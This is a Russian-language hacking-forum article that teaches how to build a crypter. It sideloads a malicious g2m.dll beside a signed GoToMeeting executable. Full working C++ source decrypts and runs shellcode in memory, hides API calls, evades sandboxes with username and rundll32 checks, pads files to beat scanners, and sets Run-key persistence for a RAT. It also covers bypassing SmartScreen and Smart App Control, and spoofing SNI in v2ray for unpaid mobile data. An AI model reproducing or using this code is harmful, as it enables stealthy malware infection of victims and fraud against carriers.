• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Обходим смартскрин / Пишем свой криптер / +Способ бесплатного интернета

Barmaleus

(L2) cache
Пользователь
Регистрация
11.08.2023
Сообщения
403
Реакции
165
Гарант сделки
11
Депозит
0.0001
Автор Barmaleus
Источник https://xss.pro


Заголовочек вышел немного кликбейтный, но всё же разберём один из способов обхода смарт скрина и напишем свой простенький криптер запускающий шеллкод. Так как я недавно залудоманил крупную сумму для меня, немного потерял связь с жизнью на несколько недель. Ну и ещё покажу как можно получить бесплатный безлимитный интернет если он у вас есть на мессенджеры по типу телеграмм, а основного трафика не осталось. Первый раз пишу что - то подобное здесь поэтому возможно где нибудь допустил ошибки, или же накосячил с кодом.

Софтина которая нам понадобиться для написания кода и его билда:
  1. Ida Pro with HexRays
  2. Clion / Visual Studio / Блокнотик
  3. Впн если вы с России попытаетесь скачать Clion.
  4. MinGW или другой компилятор
Ida Pro можно скачать и на xss в разделе реверса, поэтому сразу приступим к установке Cliona, использую его т.к у меня Linux и можно использовать сразу несколько компилеров, ну и так же я привык к интерфейсу Idea он более понятный и удобный для меня, но жрёт многовато оперативки, зато нетребователен к вашей видеокарте.
На андроид так изрядно и ехидно что-то скачивать как здесь не надо и есть такая программа под названием v2rayng - https://play.google.com/store/apps/details?id=com.v2ray.ang&hl=ru&pli=1 или же гитхаб https://github.com/2dust/v2rayNG/releases.
Заходим в приложение нажимаем кнопку + и импорт из буфера обмена
1719665038695.png

После того как импортировали нажимаете кнопочку редактирования листаете в конец, видите SNI и пишите туда - web.telegram.org / web.whatapp.com и тд и включаете галочку разрешать небезопасные.
1719665141961.png

Далее нажимаем галочку для сохранения и коннектимся большой серой кнопкой с галочкой.
Заходим на официальный гитхаб Qv2Ray https://github.com/Qv2ray/Qv2ray/releases/tag/v2.7.0, качаем exe installer / или portable версию по желанию, в инсталлере тупо скипаем все шаги и пойдёт установка.
1719661561140.png

Качаем v2ray-core с релизов для полноценной работы Qv2Ray https://github.com/v2fly/v2ray-core/releases/tag/v4.31.0
1719662043849.png


Далее заходим в Qv2Ray и идём в Preferences и нас интересуют поля отмеченные крестиками, по дефолту там нечего не будет по этим путям, поэтому создаём папку vcore в папке qv2ray сами, или же распаковываем скачанный архив с vcore куда взадумается и прописываем пути к нему / выбираем кнопочкой Select.
1719661868691.png

Получиться так что в созданной vcore будут файлы с архива
1719662241075.png

После этого всего переходим к поиску бесплатного сервера, например можно взять здесь https://www.vpnjantit.com/ выбираем v2ray vmess / vless по желанию и видим что сервера есть в многих странах. Выбираем любую подходящую вам по скорости и тд.

На примере показываю русский сервер. Вводим рандомный username и вводим капчу, после чего в правом окне получим сгенеренный vmess link.

1719662584426.png

Справа получаем vmess linkm нажимаем copy link
1719662815454.png

Далее идём в Qv2Ray нажимаем кнопку import и в поле Share Link вставляем скопированное, далее увидим появиться ваш сервер и можно просто подключиться 2мя тапами или нажав кнопочку с треугольником.
1719662913028.png

Но это ещё не всё, как же получить бесплатный интернет? -> нажимаем edit as json и видим пункт tlssettings, меняем текст на этот, вместо web.telegram.org можно так же указать whatsapp или другой мессенджер.
"allowInsecure": true,
"fingerprint": "",
"publicKey": "",
"serverName": "web.telegram.org",
"shortId": "",
"show": false,
"spiderX": ""
1719664511962.png

В конце профит с бесплатным интернетом, тот же тариф с мессенджерами ультра дешманский и стоит порядка 100рублей у операторов.
Заходим на сайт программы и нажимаем кнопку скачать, после чего вас перекинет на другую страницу с выбором системы.
1719660657579.png

Далее видим тип установки и выбираем windows, есть возможность скачать в зипе или под определённую архитектуру, но я выбрал просто нажать скачать exe installer. Если вы с России вам не дадут скачать нормально и придётся качать с впном.
1719660889104.png

Далее скачивается инсталлер, выбираем что вам нужно, допустим я выбрал ярлык на рабочий стол для удобства запуска, можно так же выбрать ассоциации с файлами, но для этого он неочень, блокнотик подходит лучше.
1719665593387.png

Для установки под linux скачиваем tar.gz архив.
1719665282513.png

Далее распаковываем его и получаем картину вида.
1719665726665.png

Для запуска clion идём в папку bin и далем его выполняемым, или же прописываем в терминале chmod +x путькфайлу.
1719665790886.png

Интерфейсы программ на винде и на линуксе не отличаются поэтому установку можно считать завершённой.
Заходим на https://github.com/mstorsjo/llvm-mingw идём в релизы.
1719666418561.png

Для винды выбираем компилер без приписок ubuntu и macos с концом x86_x64.
Для линукса выбираем ubuntu x86_x64.
Компилеры и под винду и под линукс особо не чем не отличаются в плане расположения и имён файлов(в винде .exe добавляется). Для того чтобы добавить компилер в Clion надо нажать New Project, т.к у нас DllSideLoad проект выбираем C++ Library и Shared, впрочему это не особо важно потому, что в любой момент это можно изменить в CMakeLists.txt.
1719666847823.png

После того как проект создался идём в File потом в Settings.
1719666944298.png

Далее идём в Build / Execution... Там нас интересует вкладка ToolChains

1719667019564.png

Нажимаем там на плюсик и выбираем System
1719667221479.png

Далее идём к скачанному нами компилятору распаковываем его в какую-нибудь папку.
1719667292974.png

Далее идём опять в Clion и вписываем в поля
C Compiler если хотите билдить 64 битный exe / dll -> путькпапке/bin/x86_64-w64-mingw32-gcc / Если 32 битный путькпапке/bin/i686-w64-mingw32-gcc
C++ Compiler если хотите билдить 64 битный exe / dll -> путькпапке/bin/x86_64-w64-mingw32-g++ / Если 32 битный путькпапке/bin/i686-w64-mingw32-g++

1719667407527.png

Перетаскимваем ваш добавленный компилер в самый вверх если хотите чтобы он использовался по дефолту
1719667486023.png

Компилер настроен. Приступаем к шагу поиска уязвимого exe для наших утех.

Немного порывшись на форуме в платном разделе малварей мы можем заметить интересные предложения с криптом, которые обходят смарт скрин и в целом показывают "неплохой рантайм" соверщенно без дллки в которой располагается реальная нагрузка с вирусом. Посмотрев их софт можно увидеть что он написан на Rust, но так же приглядевшись к их результатам скана мы замечаем имя g2m.dll not found или же G2M.exe тут не надо быть экстрасенсом достаточно вбить в гугл g2m.dll и увидим что это приложение GoToMeeting примерно 2 летней давности т.к. сейчас оно стало 64 битным и в целом нету 32 битных релизов. Находим в интернете G2M.exe архитектуры x86 скачивам.

Переходим в сведения и видим что файл подписан и весит порядка 40kb
1719668052844.png

Подпись действительна по сей день и её не отозвали.

1719668111148.png


Итак мы нашли кандидата для нашей задумки, далее заходим в скачанную Ida Pro нажимаем New в окошке, далее перетаскиваем файл и нажимаем OK,
1719668260867.png

Далее после того как мы зашли и файл прогрузился нас интересует вкладочка Imports
1719668361173.png

Как мы видим присутсвуют различные импорты с системы и один единственный с g2m.dll, переходим на него
1719668442843.png

Видим что скорее всего это WinMain с его же 3мя аргументами. Если поискать упоминания в коде увидим как вызывается функция
1719668505199.png

Нажимаем jump to xref для этого sub_xxxx
1719668558829.png


И видим что эта функция является точкой входа приложения. Предполагаем что аргументы как у WinMain или же их попросту нету. Приступаем к написанию кода.
У нас уже есть открытый проект в Clion но мы там не до конца всё закончили, опять заходим в CMakeLists.txt и нам нужно будет добавить флаги компиляции чтобы библиотека нормально функционировала и не нуждалась в других dllках.

Добавляем код в CMakeLists.txt после set
Makefile:
set(CMAKE_CXX_FLAGS "-w -s -Oz -ffunction-sections -fdata-sections -Wl,--gc-sections -fvisibility=hidden -mavx2 -mbmi2 -DNDEBUG")

set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-narrowing")

set(CMAKE_EXE_LINKER_FLAGS "-Wl,--exclude-all-symbols -shared -static-libgcc -static-libstdc++ -Wl,-Bstatic,--whole-archive -lwinpthread -Wl,--no-whole-archive")

1719668942315.png

Так же чтобы каждый раз не переименовывать дллку самим добавляем ещё немного кода после add_library
Вместо DllSideLoad ваше имя из add_library.
Код:
set_target_properties( DllSideLoad
        PROPERTIES
        OUTPUT_NAME "g2m"
        SUFFIX ".dll")

Итоговый CMakeLists.txt будет следующего вида
1719669083264.png


Далее идём в наш library.cpp файл и сносим всё под чистую. Делаем наш импорт и тестовый MessageBox чтобы проверить работает ли наша затея.

C++:
#include "windows.h"

extern "C" __declspec(dllexport) __attribute__((visibility("default"))) int g2mcomm_winmain(DWORD, int, DWORD, DWORD, DWORD, DWORD){

return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved){
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
MessageBoxW(NULL, L"Hello from g2m.dll", L"Entry", MB_ICONEXCLAMATION | MB_OK);
}break;
    }
return TRUE;
}
}

Билдим нажимая молоточек в Clion, на линуксе у вас будет прикол в том что сбилдиться неправильно поэтому там меняем add_library на add_executable
1719670010958.png

Далее после билда закидываем дллку рядом с G2M.exe и видим что она не отторгается как инородный обьект и выполняется наш MessageBox.
1719670075110.png

Давайте напишем простейший выполнитель шеллкода и проверим уже дальше, меня бы он не устроил и я выбрал немного другой путь.
C++:
PVOID shellcode_exec = VirtualAlloc(0, decrypted_data.length(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
mem_copy(shellcode_exec, decrypted_data.data(), decrypted_data.length());
DWORD threadID;
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(hThread, INFINITE);

Для начала сделаем скроем получение PEB(Process Environment Block), по дефолту это __readfsdword(0x30);
Но я хочу скрыть это получение и чтобы не было видно что оно существует, как можно это сделать?
C++:
long addr(){

    return 0x30 * 14;
}
void execute()
{

    long read = addr() / 14;
    PPEB pPEB = (PPEB)__readfsdword(read);
Далее получаю библиотеку kernel32.dll в которой лежат наши функции без GetModuleHandle и LoadLibrary используя LDR_DATA_TABLE_ENTRY и адрес GetProcAdress, особого смысла это не несёт но всё же, т.к мы ищем в списке экспортированных функций.

Так же для скрытия использования memcpy из других библиотек будем испольховать макрос:
C++:
# define memcpy(D,S,N) {char*xxd=(char*)(D);const char*xxs=(const char*)(S);\
                        int xxn=(N);while(xxn-->0)*(xxd++)=*(xxs++);}

Тестовый шеллкод я зделаю при помощи бублика -> https://github.com/TheWover/donut предварительно рекомпилировав его. Запускаем бублик и видим его аргументы.
1719671125436.png

Нас интересуют -a - выбор архитектуры 1 - x32, 2 - x64, и компрессия -z 2 - аплибом т.к я на линуксе на винде же больше методов, я могу использовать и бублик для винды с помощью wine. Флаг -e по дефолту нас устраивает, -i - input ваш файл, -o output конечный файл., -f тип конечного файла - 3 для нашего выбранного C подобного языка .

И получается что ./donut -a 1 -z 2 -f 3 -i exe -o shellcode. На выходе получим .h файл с шелкодом.
1719671526884.png

Импортим этот файл #include "имя". Получаем следующий конечный код по итогу.
C++:
#include <winternl.h>
#include "windows.h"
#include "library.h"

void execute();

extern "C" __declspec(dllexport) __attribute__((visibility("default"))) int g2mcomm_winmain(DWORD, int, DWORD, DWORD, DWORD, DWORD){
 
return 0;
}
# define memcpy(D,S,N) {char*xxd=(char*)(D);const char*xxs=(const char*)(S);\
int xxn=(N);while(xxn-->0)*(xxd++)=*(xxs++);}


typedef HMODULE(WINAPI *PGetModuleHandleA)(PCSTR);
typedef FARPROC(WINAPI *PGetProcAddress)(HMODULE, PCSTR);

typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);
typedef LPVOID(WINAPI *PVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef HANDLE(WINAPI *PGetCurrentProcess)(VOID);
typedef WINBOOL(WINAPI *PWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
long addr(){

return 0x30 * 14;
}

void execute()
{
long read = addr() / 14;
PPEB pPEB = (PPEB)__readfsdword(read);

PPEB_LDR_DATA pLoaderData = pPEB->Ldr;

PLIST_ENTRY listHead = &pLoaderData->InMemoryOrderModuleList;

PLIST_ENTRY listCurrent = listHead->Flink;

PVOID kernel32Address;
do
    {
PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(listCurrent, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

DWORD dllNameLength = WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, NULL, 0, NULL, NULL);

PCHAR dllName = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllNameLength);

WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, dllName, dllNameLength, NULL, NULL);

        CharUpperA(dllName);

if (strstr(dllName, "KERNEL32.DLL"))
        {
kernel32Address = dllEntry->DllBase;

HeapFree(GetProcessHeap(), 0, dllName);

break;
        }
HeapFree(GetProcessHeap(), 0, dllName);

listCurrent = listCurrent->Flink;

} while (listCurrent != listHead);

PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)kernel32Address;

PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)kernel32Address + pDosHeader->e_lfanew);

PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);

PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)kernel32Address + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

PULONG pAddressOfFunctions = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfNames);

PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)kernel32Address + pExportDirectory->AddressOfNameOrdinals);


PGetModuleHandleA pGetModuleHandleA = NULL;

PGetProcAddress pGetProcAddress = NULL;


for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
    {
PCSTR pFunctionName = (PSTR)((PBYTE)kernel32Address + pAddressOfNames[i]);
if (!strcmp(pFunctionName, "GetModuleHandleA"))
        {
pGetModuleHandleA = (PGetModuleHandleA)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);

        }
if (!strcmp(pFunctionName, "GetProcAddress"))
        {
pGetProcAddress = (PGetProcAddress)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);

        }
    }
HMODULE hKernel32 = pGetModuleHandleA("kernel32.dll");

PVirtualAllocEx funcVirtualAllocEx = (PVirtualAllocEx)pGetProcAddress(hKernel32, "VirtualAllocEx");

PGetCurrentProcess funcGetCurrentProcess = (PGetCurrentProcess)pGetProcAddress(hKernel32, "GetCurrentProcess");

PWriteProcessMemory funcWriteProcessMemory = (PWriteProcessMemory)pGetProcAddress(hKernel32, "WriteProcessMemory");

void* Process = funcGetCurrentProcess();
PVOID allocatedMem = funcVirtualAllocEx(Process,0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(allocatedMem == nullptr){
exit(EXIT_FAILURE);
    }
SIZE_T bytes;
funcWriteProcessMemory(Process, allocatedMem, (LPCVOID)&buf, sizeof(buf), &bytes);
((void(*)())allocatedMem)();
ExitProcess(0);
}

BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved){
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
MessageBoxW(NULL, L"Hello from g2m.dll", L"Entry", MB_ICONEXCLAMATION | MB_OK);
            execute();
}break;
    }
return TRUE;
}
Как мы видим и можем наблюдать наш шеллкод успешно отработал и запустил наш пейлоад.
1719675193621.png

Следующими шагами мы будем добавлять обфускацию строк и засерания кода мусором.
Для шифрования строк в CompileTime мы будем использовать репозиторий https://github.com/adamyaxley/Obfuscate.
Копируем код с obfuscate.h или скачиваем его и кидаем к нам в проект, дальше #include "obfuscate.h"
Для обфускции строки достаточно будет написать AY_OBFUSCATE и поместить туда нашу строку.
1719675515858.png

Давайте же посмотрим теперь как стал выглядеть код в декомпиляторе. В качестве примера сделаю после и до.

1719676530386.png

Как мы видим добавилась проста туча мусорного кода в те места где было пусто и код растянулся почти в 5 раз.
1719676581925.png


Для шифра самого же шеллкода можно сделать простейший xor метод, в качестве ключа будет выступать Integer значение, а так же немного запутаем код добавив rand(), код будет универсальным как для дешифровки так и шифровки, в теории можно ещё прикрутить компрессию, но она у нас имеется уже в бублике и прекрасно работает.
C++:
std::string EncryptDecrypt(const std::string& input, int key) { 
    std::string output = input;
    char a;
    key = rand() % 99;
    for(size_t i = 0; i < input.length(); ++i) {
        a = input[i];
        int b = static_cast<int>(a);
        b ^= key;
        a = static_cast<char>(b);
        output[i] = a;
    }
    return output;
}

Давайте теперь создадим программу под этот код чтобы шифровать полученный нами шеллкод.

Для этого добавляем в CMakeLists.txt несколько новых строчек чтобы компилировать новоиспеченный энкриптер в .exe

Код:
set(CMAKE_EXE_LINKER_FLAGS "-Wl,--exclude-all-symbols -static -municode")

add_executable(Encrypter encrypter.cpp)

И пишем код для шифрования файлика, для начала почему мы добавили флаг -municode? потому что если юзер араб то у него будут далеко не анси строки и по просту не будет работать приложение и нужна будет папка с латинскими буквами C:/latin.
C++:
#include <fstream>

#include <string>

#include <random>

#include <iostream>

#include "library.h"

#include "base64.h"



using namespace std;

std::string read_file_str(std::wstring path) {

std::wifstream wfile = std::wifstream(path.c_str(), std::ios_base::binary | std::ios_base::ate);

std::wstring file_data(wfile.tellg(), '\0');

wfile.seekg(0);

wfile.read((wchar_t *)file_data.data(), file_data.length());

std::string data_ansi = {file_data.begin(),file_data.end()};

return data_ansi;

}


bool write_to_file(const std::wstring& file_name, std::string data) {

std::wofstream output_file = std::wofstream(file_name.c_str(), std::ofstream::binary);


if (!output_file.good()) {

return false;

    }

std::wstring data_unicode = {data.begin(),data.end()};

    output_file.write(data_unicode.c_str(), data_unicode.length());

    output_file.close();


return true;

}


int wmain(int argc, wchar_t* argv[]) {

if(argc < 3){

printf("\nInvalid arguments: count\nUsage: exe,out\nv");

system("PAUSE");

return 0;

    }


string file = read_file_str(argv[1]);

file = EncryptDecrypt(file,default_key);

file = base64_encode(file);

write_to_file(argv[2],file);

system("pause");

}
В коде мы читаем 2 первых аргумента input, output и дальше просто получаем текст с файла в std::string и впоследствии его шифруем, и записываем с помощью wostream и конвертации std:;string в std::wstring, тоесть из короткой строки в широкую юникодную.
Обновлённый library.h, туда я поместил default_key и метод шифования пейлоада.
C++:
int default_key = 12345;
std::string EncryptDecrypt(const std::string& input, int key) {
    std::string output = input;
    char a;
    key = rand() % 99;
    for(size_t i = 0; i < input.length(); ++i) {
        a = input[i];
        int b = static_cast<int>(a);
        b ^= key;
        a = static_cast<char>(b);
        output[i] = a;
    }
    return output;
}
Далее я добавил base64.h чтобы файл корректно записывался на диск потому что мы ломали полностью wstring, и даже windowsвскую файловую библиотеку, она попросту читала неправильную длинну.
C++:
static const std::string base64_chars =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        "abcdefghijklmnopqrstuvwxyz"
        "0123456789+/";

static inline bool is_base64(unsigned char c) {
    return (isalnum(c) || (c == '+') || (c == '/'));
}

inline std::string base64_encode(const std::string &bytes) {
    auto bytes_to_encode = reinterpret_cast<unsigned char const *>(&bytes[0]);
    unsigned int in_len = bytes.size();
    std::string ret;
    int i = 0;
    int j = 0;
    unsigned char char_array_3[3];
    unsigned char char_array_4[4];

    while (in_len--) {
        char_array_3[i++] = *(bytes_to_encode++);
        if (i == 3) {
            char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
            char_array_4[1] =
                    ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
            char_array_4[2] =
                    ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
            char_array_4[3] = char_array_3[2] & 0x3f;

            for (i = 0; (i < 4); i++)
                ret += base64_chars[char_array_4[i]];
            i = 0;
        }
    }

    if (i) {
        for (j = i; j < 3; j++)
            char_array_3[j] = '\0';

        char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
        char_array_4[1] =
                ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
        char_array_4[2] =
                ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
        char_array_4[3] = char_array_3[2] & 0x3f;

        for (j = 0; (j < i + 1); j++)
            ret += base64_chars[char_array_4[j]];

        while ((i++ < 3))
            ret += '=';
    }

    return ret;
}

inline std::string base64_decode(std::string const &encoded_string) {
    int in_len = encoded_string.size();
    int i = 0;
    int j = 0;
    int in_ = 0;
    unsigned char char_array_4[4], char_array_3[3];
    std::string ret;

    while (in_len-- && (encoded_string[in_] != '=') &&
           is_base64(encoded_string[in_])) {
        char_array_4[i++] = encoded_string[in_];
        in_++;
        if (i == 4) {
            for (i = 0; i < 4; i++)
                char_array_4[i] = base64_chars.find(char_array_4[i]);

            char_array_3[0] =
                    (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
            char_array_3[1] =
                    ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
            char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

            for (i = 0; (i < 3); i++)
                ret += char_array_3[i];
            i = 0;
        }
    }

    if (i) {
        for (j = i; j < 4; j++)
            char_array_4[j] = 0;

        for (j = 0; j < 4; j++)
            char_array_4[j] = base64_chars.find(char_array_4[j]);

        char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
        char_array_3[1] =
                ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
        char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

        for (j = 0; (j < i - 1); j++)
            ret += char_array_3[j];
    }

    return ret;
}
Теперь в том же donut выполняем ту же самую команду только убираем аргумент -f, чтобы генерился bin файл шеллкода.
1719677375708.png

Далее используем наш скомпиленный Encrypter.exe
1719677459494.png

Файл сохранился в ваш путь далее идём в любой hex редактор например HxD на винде, для линукса Okteta. Там выбираем Правка -> Копировать как Массив C, в HxD примерно такой же алгоритм.

Создаём новый файл payload.h инклудаем его и base64.h в library.cpp
Код:
#include "base64.h"
#include "payload.h"
Далее чуть чуть изменяем код в library.cpp для лоада шифрованного пейлоада, добавляем base64_decode и дешифровку + немного меняем код где виртуал алоки.
C++:
void* Process = funcGetCurrentProcess();
std::string base_dec = base64_decode(buffer);
std::string buffer_dec = EncryptDecrypt(base_dec,default_key);
PVOID allocatedMem = funcVirtualAllocEx(Process,0, buffer_dec.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(allocatedMem == nullptr){
MessageBoxW(NULL, L"Hello from g2m.dll", L"Entry", MB_ICONEXCLAMATION | MB_OK);
exit(EXIT_FAILURE);
}
SIZE_T bytes;
funcWriteProcessMemory(Process, allocatedMem, buffer_dec.c_str(), buffer_dec.size(), &bytes);
((void(*)())allocatedMem)();
ExitProcess(0);
Вот если честно на этом моменте я больше всего устал и фиксил примерно полчаса свой затуп но по итогу код исполняется и работает.
1719680934289.png

Всех наверное закалёбывают боты с вирустотала которые вечно стучат на файл, или другие конченные AnyRun машины и другая подобная херь, решил показать как можно предохраниться от половины если у вас Dllка, но можно будет юзать и в exe думаю. Добавляю опять же call на GetUserNameA, создаю typedef.
C++:
typedef WINBOOL(WINAPI *PGetUserNameA)(LPSTR lpBuffer, LPDWORD pcbBuffer);
PGetUserNameA funcGetUserNameA;

bool CheckUserNames() {
    char *sUsers[] = {(char *) AY_OBFUSCATE("UserName"),
                      (char *) AY_OBFUSCATE("user"),
                      (char *) AY_OBFUSCATE("sandbox"), (char *) AY_OBFUSCATE("honey"), (char *) AY_OBFUSCATE("vmware"),
                      (char *) AY_OBFUSCATE("currentuser"), (char *) AY_OBFUSCATE("nepenthes"),
                      (char *) AY_OBFUSCATE("andy"),
                      (char *) AY_OBFUSCATE("CurrentUser"), (char *) AY_OBFUSCATE("HAL9TH"),
                      (char *) AY_OBFUSCATE("JohnDoe")};

    char szBuffer[30];
    unsigned long lSize = sizeof(szBuffer);

    if (funcGetUserNameA(szBuffer, &lSize) == 0) {
        return (1);
    }

    for (int i = 0; i < (sizeof(sUsers) / sizeof(char *)); i++) {
        if (strstr(szBuffer, sUsers[i])) {
            return 1;
        }
    }
    return 0;
}
Так как данная функция находиться в ADVAPI32 нам нужно будет загрузить её через LoadLibrary
C++:
typedef HMODULE(WINAPI *PLoadLibraryA)(LPCSTR lpLibFileName);
PLoadLibraryA funcLoadLibraryA = (PLoadLibraryA)pGetProcAddress(hKernel32, AY_OBFUSCATE("LoadLibraryA"));
funcGetUserNameA = (PGetUserNameA)pGetProcAddress(funcLoadLibraryA(AY_OBFUSCATE("ADVAPI32.dll")), AY_OBFUSCATE("GetUserNameA"));

Примерно таким образом мы добавляем функцию в нашу дллку, теперь как же ещё можно предостеречься, если посмотреть на зенбокс то он всегда грузит вашу дллку через rundll32, соответственно мы можем просто исключить чтобы наша дллка была загружена в программах с системной папки или по другому, но это немного туповато но в целом код выглядел бы так.
C++:
bool contains(const std::wstring& one, const std::wstring& two) {
    return one.find(two)!= std::wstring::npos;
}

void Check(){
wchar_t CurrentFilePath[1024];
GetModuleFileNameW(0, CurrentFilePath, 1024);
if(contains(CurrentFilePath,L"rundll")){
exit(EXIT_FAILURE);
}
}
Допустим у вас закриптована ратка или другая программа как же сделать автозагрузку? В целом можно тупо добавить файл из директории темп и дело сделано, но есть и другие пути автозагрузки.
Первое давайте создадим собственнный пампер код на плюсах, да будет максимально не оптимизированным и ему нужно будет время чтобы запампить файл, но всё же, код тупо добавляет пробел и записывает его в конец файла в цикле который считает сколько мегабайт мы добавили.
C++:
std::wstring Pump(const std::wstring& asmPath, int mb) {
    std::wofstream fileStream(asmPath, std::ios::binary | std::ios::app);

    long fileSizeInBytes = static_cast<long>(mb * 1024 * 1024); // 1MB = 1024 * 1024 bytes

    fileStream.seekp(0, std::ios_base::end);
    long currentPosition = fileStream.tellp();

    long bytesToAdd = fileSizeInBytes - currentPosition;

    while (bytesToAdd > 0) {
        const wchar_t space = L' ';
        fileStream.write(&space, 1);
        bytesToAdd--;
    }

    fileStream.close();

    return asmPath;
}
Далее давайте сделаем простейшую автозагрузку с копированием файлов в директорию юзера и пампом дллки на 100мб.
Для начала создадим метод для конвертации cStr в wStr.
C++:
std::wstring strWide(const char* cStr) {
    std::string str = cStr;
    std::wstring wideStr(str.begin(), str.end());
    return wideStr;
}
}
Пишем код автозагрузки выйдет примерно так, в нём мы предварительно удаляем dll если нету исполняемого и записываем туда наш новый файл, и потом проверяем есть ли exe по данному пути чтобы множество раз не обновлять,
C++:
bool exists(const std::wstring& path) {
return std::filesystem::exists(path);
}
void EnableAutoRun() {
HKEY hkey;
wchar_t CurrentFilePath[1024];
GetModuleFileNameW(0, CurrentFilePath, 1024);
std::filesystem::path CurrentExe = CurrentFilePath;
wchar_t my_documents[MAX_PATH];
SHGetFolderPathW(NULL, CSIDL_PROFILE, NULL, SHGFP_TYPE_CURRENT, my_documents);
std::filesystem::path documents = my_documents;
std::wstring appPath = CurrentExe.filename();
std::wstring dllPath = strWide(AY_OBFUSCATE("g2m.dll"));
std::wstring updaterDLL = documents / dllPath;
std::wstring updaterEXE = documents / appPath;
if(!exists(updaterEXE)){
        _wremove(updaterDLL.c_str());
std::filesystem::copy_file(dllPath, updaterDLL);
std::filesystem::copy_file(appPath, updaterEXE);
RegCreateKeyExW(HKEY_CURRENT_USER,
strWide(AY_OBFUSCATE("Software\\Microsoft\\Windows\\CurrentVersion\\Run")).c_str(), 0, NULL, 0,
KEY_WRITE, NULL, &hkey, NULL);
RegSetValueExW(hkey, NULL, 0, REG_SZ, (unsigned char *) updaterEXE.c_str(), MAX_PATH);
Pump(updaterDLL, 100);
    }
}
Проверяем наш код перезагрузкой системы и отрабатывает он неплохо.
1719686353042.png

Но так же есть ещё другие способы автозагрузки например -> rundll32.exe path,Entry в реестре автозагрузки вместо нашего пути к исполняемому файлу.

В целом статью разжевал как мог, скомпиленные исходники прикреплю рядом ниже, там в архиве будет бублик, encrypter, сами исходники и G2M.exe + скомпиленная дллка как пример / дллка без обфускции noobf.dll. Минус данного метода заключается в новой появившейся в Windows 11 Smart App Control которая впрочем легко обходиться взятием подписи SignThief с ехе где она ревокнута, или затеранием части подписи чтобы было написано Revoked. Для байпасса хром алерта достаточно будет запампить файлы dll и добавить мусора в архив, скантайм детект -> https://avcheck.net/id/9Eq0MqQf3yqi , скорее всего из-за того что я засрал компилер в хламину и хеллоу ворллд у меня с 20 детектами на вт у меня). Возможно на винде коды придётся интрпретировать по другому потому, что там иногда не все функции имеются в библиотеках. Возможно в статье допустил грамматические ошибки или же вставил код до его фикса / или до окончания дописания, такие моменты выделяйте, исправлю. Очень устал от написания данной статьи, итак был измотан, но всё же думаю стоило попробовать. Не успел показать как быстро чистить код + использовать Llvm обфускатор, если память не изменяет видел на форуме как его юзают с MinGW. Так же думаю добавил бы в будущем обходы виртуализации и песочниц.

Пароль к архиву md5 местный пароль -> sha1 архив 7z формата.
По символам я скорее всего не прошёл на оплату статей, но всё же решил сделать, кто хочет может отправить копеечку,
BTC: bc1q0j03p529x89347dulxc76nxqfuhjjehp6pfruy
ETH / MATIC / BNB и ему подобные: 0xE48Ca4860Fb3a76F318872744BA32F7682Af5b4a
LTC: ltc1qm29d5ukx49rdw035d9arw3l36nyytw0esnhvl8
USDT / TRX:
THTZJ1sV29TiTja9Gxq9rbnDoSuidgp2x6
 

Вложения

